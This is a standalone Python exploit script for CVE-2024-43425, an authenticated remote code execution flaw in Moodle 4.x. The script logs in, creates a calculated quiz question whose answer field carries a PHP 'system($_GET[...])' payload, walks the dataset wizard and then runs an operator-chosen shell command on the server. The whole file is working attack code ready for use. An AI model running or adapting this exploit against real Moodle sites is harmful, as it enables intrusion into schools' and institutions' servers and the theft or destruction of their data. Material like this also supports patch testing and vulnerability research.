📄 Moodle 4.4.0 Remote Code Execution

# Exploit Title: Moodle 4.4.0 - Authenticated Remote Code Execution
    # Exploit Author: Likhith Appalaneni
    # Vendor Homepage: https://moodle.org
    # Software Link: https://github.com/moodle/moodle/releases/tag/v4.4.0
    # Tested Version: Moodle 4.4.0
    # Affected versions: 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11
    # Tested On: Ubuntu 22.04, Apache2, PHP 8.2
    # CVE: CVE-2024-43425
    # References:
    # - https://github.com/aninfosec/CVE-2024-43425-Poc
    # - https://nvd.nist.gov/vuln/detail/CVE-2024-43425
    
    import argparse
    import requests
    import re
    import sys
    import subprocess
    from bs4 import BeautifulSoup
    import urllib.parse
    
    requests.packages.urllib3.disable_warnings()
    
    def get_login_token(session, login_url):
        print("[*] Step 1: GET /login/index.php to extract login token")
        try:
            response = session.get(login_url, verify=False)
            if response.status_code != 200:
                print(f"[-] Unexpected status code {response.status_code} when accessing login page")
                sys.exit(1)
        except Exception as e:
            print(f"[-] Error connecting to {login_url}: {e}")
            sys.exit(1)
    
        soup = BeautifulSoup(response.text, "html.parser")
        token_input = soup.find("input", {"name": "logintoken"})
        if not token_input or not token_input.get("value"):
            print("[-] Failed to extract login token from HTML")
            sys.exit(1)
    
        token = token_input["value"]
        print(f"[+] Found login token: {token}")
        return token
    
    def perform_login(session, login_url, username, password, token):
        print("[*] Step 2: POST /login/index.php with credentials")
        login_payload = {
            "anchor": "",
            "logintoken": token,
            "username": username,
            "password": password,
        }
        try:
            response = session.post(
                login_url,
                data=login_payload,
                headers={"Content-Type": "application/x-www-form-urlencoded"},
                verify=False,
            )
            if response.status_code not in [200, 303]:
                print(f"[-] Unexpected response code during login: {response.status_code}")
                sys.exit(1)
        except Exception as e:
            print(f"[-] Login POST failed: {e}")
            sys.exit(1)
    
        if "MoodleSession" not in session.cookies.get_dict():
            print("[-] Login may have failed: MoodleSession cookie missing")
            sys.exit(1)
    
        print("[+] Logged in successfully.")
    
    def get_quiz_info(session, base_url, cmid):
        print("[*] Extracting sesskey, courseContextId, and category from quiz edit page...")
        quiz_edit_url = f"{base_url}/mod/quiz/edit.php?cmid={cmid}"
        try:
            resp = session.get(quiz_edit_url, verify=False)
            if resp.status_code != 200:
                print(f"[-] Failed to load quiz edit page. Status: {resp.status_code}")
                sys.exit(1)
            # Extract sesskey
            sesskey_match = re.search(r'"sesskey":"([a-zA-Z0-9]+)"', resp.text)
            # Extract courseContextId
            ctxid_match = re.search(r'"courseContextId":(\d+)', resp.text)
            # Extract category
            category_match = re.search(r';category=(\d+)', resp.text)
            if not (sesskey_match and ctxid_match and category_match):
                print("[-] Could not extract sesskey, courseContextId, or category")
                print(resp.text[:1000])
                sys.exit(1)
            sesskey = sesskey_match.group(1)
            ctxid = ctxid_match.group(1)
            category = category_match.group(1)
            print(f"[+] Found sesskey: {sesskey}")
            print(f"[+] Found courseContextId: {ctxid}")
            print(f"[+] Found category: {category}")
            return sesskey, ctxid, category
        except Exception as e:
            print(f"[-] Exception while extracting quiz info: {e}")
            sys.exit(1)
    
    def upload_calculated_question(session, base_url, sesskey, cmid, courseid, category, ctxid):
        print("[*] Step 3: Uploading calculated question with payload...")
        url = f"{base_url}/question/bank/editquestion/question.php"
        payload = "(1)->{system($_GET[chr(97)])}"
        post_data = {
            "initialcategory": 1,
            "reload": 1,
            "shuffleanswers": 1,
            "answernumbering": "abc",
            "mform_isexpanded_id_answerhdr": 1,
            "noanswers": 1,
            "nounits": 1,
            "numhints": 2,
            "synchronize": "",
            "wizard": "datasetdefinitions",
            "id": "",
            "inpopup": 0,
            "cmid": cmid,
            "courseid": courseid,
            "returnurl": f"/mod/quiz/edit.php?cmid={cmid}&addonpage=0",
            "mdlscrollto": 0,
            "appendqnumstring": "addquestion",
            "qtype": "calculated",
            "makecopy": 0,
            "sesskey": sesskey,
            "_qf__qtype_calculated_edit_form": 1,
            "mform_isexpanded_id_generalheader": 1,
            "category": f"{category},{ctxid}",
            "name": "exploit",
            "questiontext[text]": "<p>test</p>",
            "questiontext[format]": 1,
            "questiontext[itemid]": 623548580,
            "status": "ready",
            "defaultmark": 1,
            "generalfeedback[text]": "",
            "generalfeedback[format]": 1,
            "generalfeedback[itemid]": 21978947,
            "answer[0]": payload,
            "fraction[0]": 1.0,
            "tolerance[0]": 0.01,
            "tolerancetype[0]": 1,
            "correctanswerlength[0]": 2,
            "correctanswerformat[0]": 1,
            "feedback[0][text]": "",
            "feedback[0][format]": 1,
            "feedback[0][itemid]": 281384971,
            "unitrole": 3,
            "penalty": 0.3333333,
            "hint[0][text]": "",
            "hint[0][format]": 1,
            "hint[0][itemid]": 812786292,
            "hint[1][text]": "",
            "hint[1][format]": 1,
            "hint[1][itemid]": 795720000,
            "tags": "_qf__force_multiselect_submission",
            "submitbutton": "Save changes"
        }
        try:
            res = session.post(url, data=post_data, verify=False, allow_redirects=False)
            if res.status_code in [302, 303] and "Location" in res.headers and "&id=" in res.headers["Location"]:
                print("[+] Question upload request sent. Extracting question ID from redirect.")
                qid = re.search(r"&id=(\d+)", res.headers["Location"])
                if not qid:
                    print("[-] Could not extract question ID from redirect.")
                    sys.exit(1)
                return qid.group(1)
            else:
                print(f"[-] Upload failed. Status code: {res.status_code}")
                sys.exit(1)
        except Exception as e:
            print(f"[-] Upload exception: {e}")
            sys.exit(1)
    
    def post_dataset_wizard(session, base_url, question_id, sesskey, cmid, courseid, category, ctxid):
        print("[*] Step 4: Completing dataset wizard with dataset[0]=0")
        wizard_url = f"{base_url}/question/bank/editquestion/question.php?wizardnow=datasetdefinitions"
        data_payload = {
            "id": question_id,
            "inpopup": 0,
            "cmid": cmid,
            "courseid": courseid,
            "returnurl": f"/mod/quiz/edit.php?cmid={cmid}&addonpage=0",
            "mdlscrollto": 0,
            "appendqnumstring": "addquestion",
            "category": f"{category},{ctxid}",
            "wizard": "datasetitems",
            "sesskey": sesskey,
            "_qf__question_dataset_dependent_definitions_form": 1,
            "dataset[0]": 0,
            "synchronize": 0,
            "submitbutton": "Next page"
        }
        try:
            res = session.post(wizard_url, data=data_payload, verify=False)
            if res.status_code == 200:
                print("[+] Dataset wizard POST submitted.")
                return False
            elif "Exception - system(): Argument #1 ($command) cannot be empty" in res.text:
                print("[+] Reached expected error page. Payload is being interpreted.")
                return True
            else:
                print(f"[-] Dataset wizard POST failed with status: {res.status_code}")
                return False
        except Exception as e:
            print(f"[-] Exception during dataset wizard step: {e}")
            return False
    
    def trigger_rce(session, base_url, question_id, category, cmid, courseid, cmd):
        print("[*] Step 5: Triggering command: {cmd}")
        encoded = urllib.parse.quote(cmd)
        trigger_url = (
            f"{base_url}/question/bank/editquestion/question.php?id={question_id}"
            f"&category={category}&cmid={cmid}&courseid={courseid}"
            f"&wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D{cmid}%26addonpage%3D0"
            f"&appendqnumstring=addquestion&mdlscrollto=0&a={encoded}"
        )
        try:
            resp = session.get(trigger_url, verify=False)
            print("[+] Trigger request sent. Output below:\n")
            lines = resp.text.splitlines()
            output_lines = []
            for line in lines:
                if "<html" in line.lower():
                    break
                if line.strip():
                    output_lines.append(line.strip())
    
            print("[+] Command output (top lines):")
            print("\n".join(output_lines[:2]) if output_lines else "[!] No output detected.")
        except Exception as e:
            print(f"[-] Error triggering command: {e}")
            sys.exit(1)
    
    def main():
        parser = argparse.ArgumentParser(description="Moodle CVE-2024-43425 Exploit")
        parser.add_argument("--url", required=True, help="Target Moodle base URL")
        parser.add_argument("--username", required=True, help="Moodle username")
        parser.add_argument("--password", required=True, help="Moodle password")
        parser.add_argument("--courseid", required=True, help="Course ID")
        parser.add_argument("--cmid", required=True, help="Course Module ID (Quiz)")
        parser.add_argument("--cmd", required=True, help="Command to execute remotely (e.g., 'whoami' or 'cat /flag')")
    
        args = parser.parse_args()
    
        session = requests.Session()
    
        login_url = f"{args.url.rstrip('/')}/login/index.php"
        token = get_login_token(session, login_url)
    
        perform_login(session, login_url, args.username, args.password, token)
    
        sesskey, ctxid, category = get_quiz_info(session, args.url.rstrip('/'), args.cmid)
    
        question_id = upload_calculated_question(session, args.url.rstrip('/'), sesskey, args.cmid, args.courseid, category, ctxid)
    
        if not post_dataset_wizard(session, args.url.rstrip('/'), question_id, sesskey, args.cmid, args.courseid, category, ctxid):
            sys.exit(1)
    
        trigger_rce(session, args.url.rstrip('/'), question_id, category, args.cmid, args.courseid, args.cmd)
    
    if __name__ == "__main__":
        main()